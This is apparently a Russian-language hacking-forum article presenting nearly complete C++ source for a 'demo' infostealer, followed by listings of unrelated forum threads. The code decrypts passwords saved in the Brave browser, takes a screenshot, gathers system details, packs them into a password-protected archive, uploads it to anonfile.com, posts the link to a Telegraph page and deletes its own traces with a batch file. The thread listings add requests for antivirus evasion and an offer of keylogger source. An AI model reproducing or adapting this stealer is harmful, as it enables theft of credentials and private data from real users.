#pragma comment(lib, "GdiPlus.lib")
#pragma comment(lib, "Crypt32.lib")
using namespace std;
using namespace Json;
using namespace filesystem;
#ifndef Config_HEADER
#define Config_HEADER
class Config
{
public:
//Working Directory
const string MainDirectory = "C:\\Users\\Public\\XSS_ONE_LOVE";
//Bat Directory
const string BatDirectory = "C:\\Users\\Public";
//Folder Name
const string FolderName = "XSS_ONE_LOVE";
//Password for archive
const string ArchivePassword = "XSS_ONE_LOVE";
//Telegraph Page
const string TelegraphPage = "https://telegra.ph/XSS";
//Telegraph Access Token
const string AccessToken = "XSS_ONE_LOVE";
};
#endif
#ifndef Converters_HEADER
#define Converters_HEADER
class Converters
{
public:
//String -> Wstring
static wstring StringToWString(const string& str)
{
int size_needed{ MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), NULL, 0) };
wstring wstrTo(size_needed, 0);
MultiByteToWideChar(CP_UTF8, 0, &str[0], (int)str.size(), &wstrTo[0], size_needed);
return wstrTo;
}
//Wstring -> String
static string WStringToString(const wstring& str)
{
const locale locale("");
typedef codecvt<wchar_t, char, mbstate_t> converter_type;
const converter_type& converter = use_facet<converter_type>(locale);
vector<char> to(str.length() * (size_t)converter.max_length());
mbstate_t state;
const wchar_t* from_next;
char* to_next;
const converter_type::result result = converter.out(state, str.data(), str.data() + str.length(), from_next, &to[0], &to[0] + to.size(), to_next);
return string(&to[0], to_next);
}
//WString -> Const Char*
static const char* WStringToCSTR(const wstring& str)
{
string temp{ Converters::WStringToString(str) };
return temp.c_str();
}
};
#endif

**Заголовочный файл для работы с WEB**
**Здесь описан класс Web, он имеет следующие методы/переменные:**
* **EditPage, для редактирования страницы Telegraph**
* **GetPage, для получения содержимого страницы Telegraph**
* **UploadFile, для загрузки файла на сайт ( "**[**AnonFile**](https://anonfile.com)**")**
* **GetHTML, для получения исходного кода страницы**
* **Api, сайт API Telegraph 'a (он не заблокирован в России, так что проблем быть не должно)**
C++:Copy to clipboard
#include "Includes.h"
class Web
{
public:
//EditPage
string EditPage(const string& AccessToken, const string& Path, const string& Title, const string& Name, string Content);
//GetPage
string GetPage(const string& Path);
//UploadFile
string UploadFile(const string& Filename);
//GetHTML
string GetHTML(const string& URL);
private:
//TelegraphAPI
const string Api = "https://api.telegra.ph/";
};

**Файл с исходным кодом для работы с WEB**
**На этом моменте надо рассказать поподробнее про каждый метод:**
* **WriteCallback, здесь нечего рассказывать, это обязательная функция для получения HTML в виде строки**
* **EditPage:**
* **Заменяем все « » на «+» (можно было сделать, используя библиотеку**«** algorithm»)**
* **Формируем валидную ссылку для запроса на Telegraph**
* **Парсим JSON, формируем ответ**
*
* **GetPage:**
* **Формируем валидную ссылку для запроса на Telegraph**
* **Парсим JSON, формируем ответ**
* **UploadFile | Здесь кратко рассказать не получится, если вы хотите с этим разобраться, то я вам рекомендую прочесть документацию LibCurl**
* **GetHTML |**
C++:Copy to clipboard
#include "Web.h"
#pragma warning(disable:4996)
//CallbackFunction
size_t WriteCallback(void* Contents, size_t Size, size_t Nmemb, void* Userp)
{
((string*)Userp)->append((char*)Contents, Size * Nmemb);
return Size * Nmemb;
}
//EditPage
string Web::EditPage(const string& AccessToken, const string& Path, const string& Title, const string& Name, string Content)
{
try
{
for (auto& i : Content)
if (i == ' ')
i = '+';
string RequestUrl = Api + "editPage/" + Path.substr(Path.find_last_of('/') + 1) + "?access_token=" + AccessToken + "&title=" + Title + "&author_name=" + Name + "&content=[{\"tag\":\"p\",\"children\":[\"" + Content + "\"]}]&return_content=false", Html = GetHTML(RequestUrl);
Reader Read;
Value Json;
Read.parse(Html, Json);
if (Json["ok"].asString() == "true")
return "Okay!";
else
return "Wrong Data!";
}
catch (...)
{
return "Error, EditPage :(";
}
}
//GetPage
string Web::GetPage(const string& Path)
{
try
{
string RequestUrl = Api + "getPage/" + Path.substr(Path.find_last_of('/') + 1) + "?return_content=true", Html = GetHTML(RequestUrl);
Reader Read;
Value Json;
Read.parse(Html, Json);
return Json["result"]["description"].asString();
}
catch (...)
{
return "Error, GetPage :(";
}
}
//UploadFile
string Web::UploadFile(const string& Filename)
{
try
{
string Result;
CURLcode Ret;
CURL* Hnd;
curl_mime* Mime1;
curl_mimepart* Part1;
Mime1 = NULL;
Hnd = curl_easy_init();
curl_easy_setopt(Hnd, CURLOPT_BUFFERSIZE, 102400L);
curl_easy_setopt(Hnd, CURLOPT_URL, "https://anonfile.com/api/upload");
curl_easy_setopt(Hnd, CURLOPT_NOPROGRESS, 1L);
Mime1 = curl_mime_init(Hnd);
Part1 = curl_mime_addpart(Mime1);
curl_mime_filedata(Part1, Filename.c_str());
curl_mime_name(Part1, "file");
curl_easy_setopt(Hnd, CURLOPT_MIMEPOST, Mime1);
curl_easy_setopt(Hnd, CURLOPT_MAXREDIRS, 50L);
curl_easy_setopt(Hnd, CURLOPT_HTTP_VERSION, (long)CURL_HTTP_VERSION_2TLS);
curl_easy_setopt(Hnd, CURLOPT_HTTP09_ALLOWED, 1L);
curl_easy_setopt(Hnd, CURLOPT_WRITEFUNCTION, WriteCallback);
curl_easy_setopt(Hnd, CURLOPT_WRITEDATA, &Result);
curl_easy_setopt(Hnd, CURLOPT_TCP_KEEPALIVE, 1L);
Ret = curl_easy_perform(Hnd);
curl_easy_cleanup(Hnd);
Hnd = NULL;
curl_mime_free(Mime1);
Mime1 = NULL;
Reader Read;
Value Json;
Read.parse(Result, Json);
return Json["data"]["file"]["url"]["full"].asString();
}
catch (...)
{
return "Error, UploadFile :(";
}
}
//GetHTML
string Web::GetHTML(const string& URL)
{
try
{
string result;
CURLcode ret;
CURL* hnd;
hnd = curl_easy_init();
curl_easy_setopt(hnd, CURLOPT_BUFFERSIZE, 102400L);
curl_easy_setopt(hnd, CURLOPT_URL, URL.c_str());
curl_easy_setopt(hnd, CURLOPT_MAXREDIRS, 50L);
curl_easy_setopt(hnd, CURLOPT_HTTP_VERSION, (long)CURL_HTTP_VERSION_2TLS);
curl_easy_setopt(hnd, CURLOPT_HTTP09_ALLOWED, 1L);
curl_easy_setopt(hnd, CURLOPT_WRITEFUNCTION, WriteCallback);
curl_easy_setopt(hnd, CURLOPT_WRITEDATA, &result);
curl_easy_setopt(hnd, CURLOPT_TCP_KEEPALIVE, 1L);
ret = curl_easy_perform(hnd);
curl_easy_cleanup(hnd);
hnd = NULL;
return result;
}
catch (...)
{
return "Error, HTML :(";
}
}

**Заголовочный файл для работы с архивами**
**Здесь у нас создается объект класса Config, класс Zipper. В этом классе мы
проходимся по каждому файлу в нашей директории и добавляем его в наш архив
(попутно удаляя), также мы используем шифрование (AES-256) с ключом из
конфига.**
C++:Copy to clipboard
#include "Includes.h"
Config ZIP_Config;
class Zipper
{
public:
//ZIP
static void Pack()
{
int files = 0;
string FileName = ZIP_Config.MainDirectory + "\\Data.zip";
for (const auto& aut : directory_iterator(ZIP_Config.MainDirectory))
{
zip* archive = zip_open(FileName.c_str(), ZIP_CREATE, nullptr);
zip_source* source = zip_source_file(archive, aut.path().string().c_str(), 0, 0);
int index = (int)zip_file_add(archive, aut.path().filename().string().c_str(), source, ZIP_FL_OVERWRITE);
zip_file_set_encryption(archive, files, ZIP_EM_AES_256, ZIP_Config.ArchivePassword.c_str());
zip_close(archive);
DeleteFile(aut.path().wstring().c_str());
files++;
}
}
};

**Заголовочный файл для**«** выкачки» паролей из браузеров на основе
Chromium**
**Тут у нас создается класс Chrome_Based_Browser, в котором мы имеем
следующее:**
* **Get_Chrome_Based_Passwords, функция для**«** выкачки**»** паролей**
* **Chrome_Based_Fill_Secret_File, формирование/заполнение файла с полученными данными**
* **Chrome_Based_Process_Row, обработка строки из БД**
C++:Copy to clipboard
#include "Includes.h"
#pragma warning(disable:4996)
class Chrome_Based_Browser
{
public:
//Save ChromeBased Passwords
static void Get_Chrome_Based_Passwords();
private:
//Save Passwords
static int Chrome_Based_Fill_Secret_File(char* url, char* username, unsigned char* password);
//Process Row DB
static int __stdcall Chrome_Based_Process_Row(void* passed_db, int argc, char** argv, char** col_name);
};

**Файл с исходным кодом**для**«** выкачки****»**** паролей из браузеров на
основе Chromium****
**Сейчас будет~~мясо~~ жарко. Дальше про создаваемые объекты класса говорить
не буду... Во-первых, у нас тут имеется **«** region****»**** с нужными нам
переменными:**
* **TEMP_DB_PATH****—**** название БД**
* **USER_DATA_QUERY****—**** SQL запрос к БД, для получения необходимой инфы**
* **ROW_ID_COUNT****—**** количество строк**
* **row_id****—**** номер строки в БД**
* **file_with_secrets****—**** файл, где мы будем сохранять пароли**
* **Chrome_Based_Browsers****—**** вектор с названиями браузеров**
* **Paths_To_Chrome_Based_Browsers****—**** директории браузеров до БД с нужными нам данными**
**Следом у нас идет основной метод, эта функция осуществляет проход по каждому
из браузеров, генерирует имя выходного файла, получает директорию, где
находится нужная БД, копирует ее (чтобы избежать ошибки при работающем
браузере), запускает нужную нам команду (SQL). Chrome_Based_Fill_Secret_File
выгружает, дешифрует данные и передает их в функцию для сохранения данных в
файл.**
C++:Copy to clipboard
#include "Chrome_Based.h"
Config BrowserConfig;
#pragma region Variables
//Temporary DB Path
#define TEMP_DB_PATH "tmp"
//SQL Request
#define USER_DATA_QUERY "SELECT ORIGIN_URL,USERNAME_VALUE,PASSWORD_VALUE FROM LOGINS"
//Number Of Rows
#define ROW_ID_COUNT 100
//Starting Row
int row_id = 1;
//File
FILE* file_with_secrets;
//Name Of Browsers
vector<string> Chrome_Based_Browsers = { "Brave" };
//Browsers' Paths
vector<string> Paths_To_Chrome_Based_Browsers = { "\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data" };
#pragma endregion
//Save ChromeBased Passwords
void Chrome_Based_Browser::Get_Chrome_Based_Passwords()
{
for (int temp = 0; temp < Chrome_Based_Browsers.size(); ++temp)
{
try
{
string Save_File = BrowserConfig.MainDirectory + '\\' + Chrome_Based_Browsers[temp] + "_Passwords.log";
TCHAR original_db_location[MAX_PATH];
sqlite3* logindata_database = { NULL };
char* err_msg = { NULL };
int result;
memset(original_db_location, 0, MAX_PATH);
SUCCEEDED(SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, original_db_location));
lstrcat(original_db_location, Converters::StringToWString(Paths_To_Chrome_Based_Browsers[temp]).c_str());
result = CopyFile(original_db_location, TEXT(TEMP_DB_PATH), FALSE);
result = sqlite3_open_v2(TEMP_DB_PATH, &logindata_database, SQLITE_OPEN_READONLY, NULL);
file_with_secrets = fopen(Save_File.c_str(), "w+");
result = sqlite3_exec(logindata_database, USER_DATA_QUERY, Chrome_Based_Process_Row, logindata_database, &err_msg);
sqlite3_free(err_msg);
fclose(file_with_secrets);
sqlite3_close(logindata_database);
DeleteFile(TEXT(TEMP_DB_PATH));
row_id = 1;
}
catch (...) {}
}
}
//Save Passwords
int Chrome_Based_Browser::Chrome_Based_Fill_Secret_File(char* url, char* username, unsigned char* password)
{
fputs("URL: ", file_with_secrets);
fputs(url, file_with_secrets);
fputs("\nLOGIN: ", file_with_secrets);
fputs(username, file_with_secrets);
fputs("\nPASSWORD: ", file_with_secrets);
fputs((const char*)password, file_with_secrets);
fputs("\n\n", file_with_secrets);
if (ferror(file_with_secrets))
{
return 1;
}
return 0;
}
//Process Row DB
int __stdcall Chrome_Based_Browser::Chrome_Based_Process_Row(void* passed_db, int argc, char** argv, char** col_name)
{
DATA_BLOB encrypted_password;
DATA_BLOB decrypted_password;
sqlite3_blob* blob = { NULL };
sqlite3* db = { (sqlite3*)passed_db };
BYTE* blob_data = { NULL };
unsigned char* password_array = { NULL };
int result;
int blob_size;
int i;
while (sqlite3_blob_open(db, "main", "logins", "password_value", row_id++, 0, &blob) != SQLITE_OK && row_id <= ROW_ID_COUNT);
blob_size = sqlite3_blob_bytes(blob);
blob_data = (BYTE*)malloc(blob_size);
result = sqlite3_blob_read(blob, blob_data, blob_size, 0);
encrypted_password.pbData = blob_data;
encrypted_password.cbData = blob_size;
CryptUnprotectData(&encrypted_password, NULL, NULL, NULL, NULL, 0, &decrypted_password);
password_array = (BYTE*)malloc(decrypted_password.cbData + 1);
memset(password_array, 0, decrypted_password.cbData);
for (i = 0; i < decrypted_password.cbData; i++)
{
password_array[i] = (unsigned char)decrypted_password.pbData[i];
}
password_array[i] = '\0';
result = Chrome_Based_Fill_Secret_File(argv[0], argv[1], password_array);
free(password_array);
sqlite3_blob_close(blob);
sqlite3_close(db);
return 0;
}

**Заголовочный файл для дополнительных функций**
**В этом файле у нас хранится информация о нужных нам методах:**
* **Screenshot****—**** скриншот**
* **OSInfo****—**** п**олучение информации о системе,** функция использует оставшиеся методы**
* **GetRam****—**** получение количества оперативной памяти**
* **GetCPU****—**** получение информации об установленном в ПК процессоре**
* **GetGPU****—**** получение информации об установленной в ПК видеокарте**
* **GetOSVersion****—**** получение информации об установленной операционной системе**
C++:Copy to clipboard
#include "Includes.h"
#pragma warning(disable:4996)
class Additional_Functions
{
public:
//Take Screenshot
static void Screenshot();
//Get System Information
static void OSInfo();
private:
//Get Ram (GB)
static long int GetRam();
//Get CPU
static string GetCPU();
//Get GPU
static string GetGPU();
//Get Version Of Installed OS
static string GetOSVersion();
};

**Файл с исходным кодом**для дополнительных функций****
**В начале файла описываются нужные переменные (все подписано).**
* **Screenshot**
* **Генерируем имя файла**
* **Запускаем GdiPlus**
* **Извлекаем дескриптор дисплейного контекста устройства**
* **Извлекаем разрешение экрана**
* **Создаем точечный рисунок, совместимый с устройством**
* **Сохраняем рисунок, очищаем память**
*
* **OSInfo, здесь все просто**
* **GetCPU, переписывать MSDN не хочу, поэтому четкого объяснения не дам, примите этот метод как факт**
* **GetGPU, тоже самое, что и с процессором**
* **GetRam, GetPhysicallyInstalledSystemMemory возвращает количество оперативной памяти в килобайтах, мы это преобразуем в нормальный вид**
* **GetOSVersion, сложно, исходя из определенных особенностей каждой версии Windows мы можем получить точную информацию об установленной OS**
C++:Copy to clipboard
#include "Additional_Functions.h"
Config Additional_Config;
//Needy For Screenshort
static const GUID png = { 0x557cf406, 0x1a04, 0x11d3, { 0x9a, 0x73, 0x00, 0x00, 0xf8, 0x1e, 0xf3, 0x2e } };
//Needy To Detect OS
typedef void (WINAPI* PGNSI)(LPSYSTEM_INFO);
typedef BOOL(WINAPI* PGPI)(DWORD, DWORD, DWORD, DWORD, PDWORD);
//Take Screenshot
void Additional_Functions::Screenshot()
{
try
{
wstring PathToFile = Converters::StringToWString(Additional_Config.MainDirectory + "\\Screenshot.jpg");
Gdiplus::GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
HDC scrdc, memdc;
HBITMAP membit;
scrdc = GetDC(0);
int Height, Width;
Height = GetSystemMetrics(SM_CYSCREEN);
Width = GetSystemMetrics(SM_CXSCREEN);
memdc = CreateCompatibleDC(scrdc);
membit = CreateCompatibleBitmap(scrdc, Width, Height);
SelectObject(memdc, membit);
BitBlt(memdc, 0, 0, Width, Height, scrdc, 0, 0, SRCCOPY);
HBITMAP hBitmap;
hBitmap = (HBITMAP)SelectObject(memdc, membit);
Gdiplus::Bitmap bitmap(hBitmap, NULL);
bitmap.Save(PathToFile.c_str(), &png);
DeleteObject(hBitmap);
}
catch (...) {}
}
//Get System Information
void Additional_Functions::OSInfo()
{
try
{
ofstream file(Additional_Config.MainDirectory + "\\OS.log");
file << "CPU: " + GetCPU();
file << "\nGPU: " + GetGPU();
file << "\nRam: " + to_string(GetRam()) + " GB";
file << "\nOS: " + GetOSVersion();
file.close();
}
catch (...) {}
}
//Get CPU
string Additional_Functions::GetCPU()
{
int CPUInfo[4] = { -1 };
__cpuid(CPUInfo, 0x80000000);
unsigned int nExIds = CPUInfo[0];
char CPUBrandString[0x40] = { 0 };
for (unsigned int i = 0x80000000; i <= nExIds; ++i)
{
__cpuid(CPUInfo, i);
if (i == 0x80000002)
{
memcpy(CPUBrandString,
CPUInfo,
sizeof(CPUInfo));
}
else if (i == 0x80000003)
{
memcpy(CPUBrandString + 16,
CPUInfo,
sizeof(CPUInfo));
}
else if (i == 0x80000004)
{
memcpy(CPUBrandString + 32, CPUInfo, sizeof(CPUInfo));
}
}
return CPUBrandString;
}
//Get GPU
string Additional_Functions::GetGPU()
{
string Result;
HRESULT hres;
hres = CoInitializeEx(0, COINIT_MULTITHREADED);
if (FAILED(hres)) return 0;
hres = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
if (FAILED(hres)) { CoUninitialize(); return 0; }
IWbemLocator* pLoc = NULL;
hres = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);
if (FAILED(hres)) { CoUninitialize(); return 0; }
IWbemServices* pSvc = NULL;
hres = pLoc->ConnectServer(_bstr_t(L"root\\CIMV2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);
if (FAILED(hres)) { pLoc->Release(); CoUninitialize(); return 0; }
hres = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
if (FAILED(hres)) { pSvc->Release(); pLoc->Release(); CoUninitialize(); return 0; }
IEnumWbemClassObject* pEnumerator = NULL;
hres = pSvc->ExecQuery(bstr_t("WQL"),
bstr_t("SELECT * FROM Win32_VideoController"),
WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);
if (FAILED(hres)) { pSvc->Release(); pLoc->Release(); CoUninitialize(); return 0; }
IWbemClassObject* pclsObj = (IWbemClassObject*)malloc(sizeof(IWbemClassObject));
ULONG uReturn = 0;
bool passed = false;
while (pEnumerator)
{
HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn);
if (0 == uReturn)break;
VARIANT vtProp;
hr = pclsObj->Get(L"Caption", 0, &vtProp, 0, 0);
std::wstring wGpuName = vtProp.bstrVal;
int size_needed = WideCharToMultiByte(CP_UTF8, 0, &wGpuName[0], (int)wGpuName.size(), NULL, 0, NULL, NULL);
std::string strTo(size_needed, 0);
WideCharToMultiByte(CP_UTF8, 0, &wGpuName[0], (int)wGpuName.size(), &strTo[0], size_needed, NULL, NULL);
Result = strTo;
passed = true;
VariantClear(&vtProp);
}
pSvc->Release();
pLoc->Release();
pEnumerator->Release();
pclsObj->Release();
CoUninitialize();
return Result;
}
//Get Ram (GB)
long int Additional_Functions::GetRam()
{
unsigned long long ram_size;
GetPhysicallyInstalledSystemMemory(&ram_size);
return ram_size / 1000000;
}
//Get Version Of Installed OS
string Additional_Functions::GetOSVersion()
{
OSVERSIONINFOEXA osvi;
SYSTEM_INFO si;
BOOL bOsVersionInfoEx;
DWORD dwType; ZeroMemory(&si, sizeof(SYSTEM_INFO));
ZeroMemory(&osvi, sizeof(OSVERSIONINFOEXA));
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXA);
bOsVersionInfoEx = GetVersionExA((OSVERSIONINFOA*)&osvi);
PGNSI pGNSI = (PGNSI)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "GetNativeSystemInfo");
if (NULL != pGNSI)
pGNSI(&si);
else GetSystemInfo(&si);
if (VER_PLATFORM_WIN32_NT != osvi.dwPlatformId || osvi.dwMajorVersion <= 4) {
return false;
} stringstream os;
os << "Microsoft ";
{
if (osvi.dwMinorVersion == 0)
{
if (osvi.wProductType == VER_NT_WORKSTATION)
os << "Windows Vista ";
else os << "Windows Server 2008 ";
} if (osvi.dwMinorVersion == 1)
{
if (osvi.wProductType == VER_NT_WORKSTATION)
os << "Windows 7 ";
else os << "Windows Server 2008 R2 ";
} PGPI pGPI = (PGPI)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "GetProductInfo");
pGPI(osvi.dwMajorVersion, osvi.dwMinorVersion, 0, 0, &dwType); switch (dwType)
{
case PRODUCT_ULTIMATE:
os << "Ultimate Edition ";
break;
case PRODUCT_PROFESSIONAL:
os << "Professional ";
break;
case PRODUCT_HOME_PREMIUM:
os << "Home Premium Edition ";
break;
case PRODUCT_HOME_BASIC:
os << "Home Basic Edition ";
break;
case PRODUCT_ENTERPRISE:
os << "Enterprise Edition ";
break;
case PRODUCT_BUSINESS:
os << "Business Edition ";
break;
case PRODUCT_STARTER:
os << "Starter Edition ";
break;
case PRODUCT_CLUSTER_SERVER:
os << "Cluster Server Edition ";
break;
case PRODUCT_DATACENTER_SERVER:
os << "Datacenter Edition ";
break;
case PRODUCT_DATACENTER_SERVER_CORE:
os << "Datacenter Edition (core installation) ";
break;
case PRODUCT_ENTERPRISE_SERVER:
os << "Enterprise Edition ";
break;
case PRODUCT_ENTERPRISE_SERVER_CORE:
os << "Enterprise Edition (core installation) ";
break;
case PRODUCT_ENTERPRISE_SERVER_IA64:
os << "Enterprise Edition for Itanium-based Systems ";
break;
case PRODUCT_SMALLBUSINESS_SERVER:
os << "Small Business Server ";
break;
case PRODUCT_SMALLBUSINESS_SERVER_PREMIUM:
os << "Small Business Server Premium Edition ";
break;
case PRODUCT_STANDARD_SERVER:
os << "Standard Edition ";
break;
case PRODUCT_STANDARD_SERVER_CORE:
os << "Standard Edition (core installation) ";
break;
case PRODUCT_WEB_SERVER:
os << "Web Server Edition ";
break;
}
} if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
{
if (GetSystemMetrics(SM_SERVERR2))
os << "Windows Server 2003 R2, ";
else if (osvi.wSuiteMask & VER_SUITE_STORAGE_SERVER)
os << "Windows Storage Server 2003";
else if (osvi.wSuiteMask & VER_SUITE_WH_SERVER)
os << "Windows Home Server";
else if (osvi.wProductType == VER_NT_WORKSTATION &&
si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
{
os << "Windows XP Professional x64 Edition";
}
else os << "Windows Server 2003, ";
if (osvi.wProductType != VER_NT_WORKSTATION)
{
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64)
{
if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
os << "Datacenter Edition for Itanium-based Systems";
else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
os << "Enterprise Edition for Itanium-based Systems";
}
else if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
{
if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
os << "Datacenter x64 Edition";
else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
os << "Enterprise x64 Edition";
else os << "Standard x64 Edition";
}
else
{
if (osvi.wSuiteMask & VER_SUITE_COMPUTE_SERVER)
os << "Compute Cluster Edition";
else if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
os << "Datacenter Edition";
else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
os << "Enterprise Edition";
else if (osvi.wSuiteMask & VER_SUITE_BLADE)
os << "Web Edition";
else os << "Standard Edition";
}
}
} if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
{
os << "Windows XP ";
if (osvi.wSuiteMask & VER_SUITE_PERSONAL)
os << "Home Edition";
else os << "Professional";
} if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
{
os << "Windows 2000 "; if (osvi.wProductType == VER_NT_WORKSTATION)
{
os << "Professional";
}
else
{
if (osvi.wSuiteMask & VER_SUITE_DATACENTER)
os << "Datacenter Server";
else if (osvi.wSuiteMask & VER_SUITE_ENTERPRISE)
os << "Advanced Server";
else os << "Server";
}
} if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 2) {
if (osvi.wProductType != VER_NT_WORKSTATION)
os << "Server 2012";
else
os << "Windows 8";
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
os << " x64 Edition";
}if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 3) {
if (osvi.wProductType != VER_NT_WORKSTATION)
os << "Server 2012 R2";
else
os << "Windows 8.1";
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
os << " x64 Edition";
}if (osvi.dwMajorVersion == 10 && osvi.dwMinorVersion == 0) {
if (osvi.wProductType != VER_NT_WORKSTATION)
os << "Windows Server 2016 Technical Preview";
else
os << "Windows 10";
if (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64)
os << " x64 Edition";
}
return os.str();
}

**Основной файл с исходным кодом**
**По пунктам:**
* **Во-первых, мы получаем полный путь до исполняемого файла**
* **Создаем основную/рабочую директорию**
* **Устанавливаем нужные аттрибуты**
* **Задачем рабочую директорию как текущую**
* **Сохраняем пароли, получаем информацию о системе, делаем скриншот**
* **Пакуем это все в архив, получаем текущие данные на странице Telegraph, загружаем архив на наш**«** анонимный сайт****»******
* **Редактируем страницу, добавляя нашу ссылку на скачивание файла**
* **В конце мы создаем**«**.bat****»**** файл, для удаления всех наших следов**
C++:Copy to clipboard
#include "Chrome_Based.h"
#include "Web.h"
#include "Additional_Functions.h"
#include "Zipper.h"
Config Main_Config;
Web Web_Main;
int main()
{
wchar_t Filename[MAX_PATH];
GetModuleFileName(NULL, Filename, MAX_PATH);
CreateDirectory(Converters::StringToWString(Main_Config.MainDirectory).c_str(), NULL);
SetFileAttributes(Converters::StringToWString(Main_Config.MainDirectory).c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
SetCurrentDirectory(Converters::StringToWString(Main_Config.MainDirectory).c_str());
Chrome_Based_Browser::Get_Chrome_Based_Passwords();
Additional_Functions::OSInfo();
Additional_Functions::Screenshot();
Zipper::Pack();
string PreviousData = Web_Main.GetPage(Main_Config.TelegraphPage), FileUrl = Web_Main.UploadFile("Data.zip");
Web_Main.EditPage(Main_Config.AccessToken, Main_Config.TelegraphPage, "XSS_ONE_LOVE", "XSS_ONE_LOVE", PreviousData + " | " + FileUrl);
ofstream DeleteBat(Main_Config.BatDirectory + "\\temp.bat");
DeleteBat << "\nif \"%~1\"==\"\" (set \"x=%~f0\"& start \"\" /min \"%comspec%\" /v/c \"!x!\" any_word & exit /b)\nTIMEOUT /T 2\nDEL /s /q " + Main_Config.MainDirectory + "\nDEL /s /q " + Converters::WStringToCSTR(Filename) + "\nDEL \"%~f0\"";
DeleteBat.close();
ShellExecute(NULL, L"open", Converters::StringToWString(Main_Config.BatDirectory + "\\temp.bat").c_str(), NULL, NULL, SW_SHOWNORMAL);
exit(0);
}

**Заключение**
**Вот мы с вами и написали демоверсию стиллера, который отправляет логи на
страницу Telegraph. Естественно этот способ не идеален, но он определенно
заслуживает вашего внимания. Код также далек от совершенства, но статья и не
была направлена на написание готового продукта. Это лишь пища для размышлений.
Хочу еще раз подметить, что в этой статье не был предоставлен исходный код
панели управления, но если вы заинтересованы, то я могу написать статью на
данную тему для вас (С#/C++/WPF). Вот вам котик на прощание:**
****
Обход RunTime ( динамический анализ АВ)
Author: Slayer • 2019-02-11T22:12:59+0000 • Replies: 33 • Views: 11K
Всем привет. В создании малвари полный нуб , поэтому не кидайте сцаными
тряпками. Вопрос такой : где поискать информацию (может кто готов поделиться в
ЛС в телеге) об актуальных методах обхода проактивных методов защиты АВ.
Пример - пару дней назад захотел написать свой Майнер. Соответственно нужен
лоадер , который скачает модули и запустит. Как обойти подводные камни ?
Заранее спасибо. Подобный пост размещу и на **** для большего потока
информации от знающих людей.
Что актуально?
Author: codedivision • 2019-02-02T19:37:33+0000 • Replies: 32 • Views: 11K
Здравствуйте.
Что сейчас актуально из софта (цвет и сложность не важны)? Пишу на асм с
использованием винапи и повершелл.
Смотрю в сторону брута и чека палки, крипты, ба. Но судя по ввх и экспе спрос
и предложение очень небольшой. Капча (где рекапча и обычный паблик) легко
обойти, прокси и сокс хватает. Если есть интересные проекты, могу выпустить
софт в приват.
Заинтересовала андроид малварь, на чем ее сейчас пишут? И как обстоит ситуация
с обфускацией кода?
О необычной малвари пока что только думаю, слишком много вариантов.
Помощь с C++
Author: ShizIN • 2019-01-31T20:38:12+0000 • Replies: 46 • Views: 11K
**_Ребят, подскажите пожалуйста какие-либо материалы по изучению С++, на ютубе
такое себе, предпочитаю текстовый формат, книг найти не могу
хороших_**
**_P.S. Буду благодарен за помощь в поисках)_**
Неплохой кейлогер
Author: ReXeL • 2008-11-27T14:40:24+0000 • Replies: 32 • Views: 11K
Всем привет, вот выкладываю исходники кейлогера на с++Борланд
Плюсы:
его больше негде нет=)
не палиться в процессах
логи шлет на мыло
не палиться антивирями, фаерволлами вроде тоже
очень успешно варует пассы от lineage (обходит защиту)
шлет пассы от инета и MAC адресс
Минусы:
250кб (без урезания, архивирования)
необходима разная доработка (урезание лог например)
плохая реализация взятия MAC адресса (неправильная)
В дальнейшем собираюсь
набрать пару с++кодеров для доведения его до ума
написать к нему билдер
добавить функций
и вот думаю шифрование логов
и MAC адресса научим правильно брать=)
И после зделать ещё гейт
Компилируйте, отписывайтесь...
П.С. надеюсь кто-нибудь поможет по продолжению его написания...
П.С2 пожалуйста не палите контору=)
Если что думаю там сами разберетесь...=)
Если что спрашивайте
Не компилируется :(
Author: Stifler • 2005-09-02T16:24:46+0000 • Replies: 29 • Views: 11K
Вообщем решил учит C там есть такая тема
main()
{
puts("OK")
}
Сделал как [тут](http://www.relib.com/articles/article.asp?id=239) написано
(Компилятор)
Эту фигню пробывал написать в простом редакторе и потом пробывал в "Source
Editor" сохранять пробывали в cpp и в .С
Потом вводил в командную строку
C:\>borland\bcc55\bin\RUNBOR.BAT bcc32 c:\borland\bcc66\bin\test.c
И так пробывал
C:\>borland\bcc55\bin\RUNBOR.BAT bcc32 test.c
Короче выдаёт ошибку
